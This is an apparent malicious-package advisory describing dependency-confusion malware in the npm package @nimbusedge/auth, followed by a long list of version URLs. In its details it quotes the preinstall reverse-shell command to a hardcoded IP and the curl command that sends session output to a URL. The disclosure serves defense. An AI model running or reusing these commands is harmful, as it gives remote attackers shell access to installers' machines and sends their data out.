MAL-2026-16132

Dashboard / Malicious Package / MAL-2026-16132

MAL-2026-16132

Summary: Malicious code in @nimbusedge/auth (npm)

Details: Source: amazon-inspector (a1c515f5cb3bfa2c20dc4fa78c4be6865209e833016cd5804b94ba5f3d1d5885) package.json declares a `preinstall` lifecycle script that runs `bash -i >& /dev/tcp/147.93.157.202/8080` to open an interactive reverse shell to the hardcoded host 147.93.157.202 on port 8080, and pipes the shell session over plain HTTP to `http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php` via `curl -X POST --data-binary @-`. The script executes automatically on `npm install`, giving the remote endpoint interactive command execution on the installer's machine and beaconing session output to the hardcoded URL. The package is published under the scoped name `@nimbusedge/auth` at version `19999.0.6` — an artificially inflated version consistent with the dependency-confusion resolution pattern, causing internal resolvers configured against the public registry to fetch this artifact in place of a private package of the same name. The mechanism is identical to install-time remote code execution and data exfiltration regardless of any self-labeling in the package metadata.

References: https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1359.6, https://www.npmjs.com/package/@nimbusedge/auth/v/19999.0.4, https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1337.7, https://www.npmjs.com/package/@nimbusedge/auth/v/19999.0.7, https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1359.5, https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1338.1, https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1359.3, https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1338.5, https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1338.3, https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1337.6, https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1339.4, https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1359.2, https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1339.1, https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1339.3, https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1338.4, https://www.npmjs.com/package/@nimbusedge/auth/v/19999.0.5, https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1360.4, https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1337.5, https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1339.2, https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1338.7, https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1359.4, https://www.npmjs.com/package/@nimbusedge/auth/v/19999.0.3, https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1337.1, https://www.npmjs.com/package/@nimbusedge/auth/v/19999.0.2, https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1360.5, https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1360.3, https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1338.6, https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1337.4, https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1338.8, https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1359.1, https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1339.5, https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1360.2, https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1337.2, https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1337.8, https://www.npmjs.com/package/@nimbusedge/auth/v/19999.0.1, https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1349.5, https://www.npmjs.com/package/@nimbusedge/auth/v/221.1.0, https://www.npmjs.com/package/@nimbusedge/auth/v/19999.0.6, https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1360.1, https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1338.2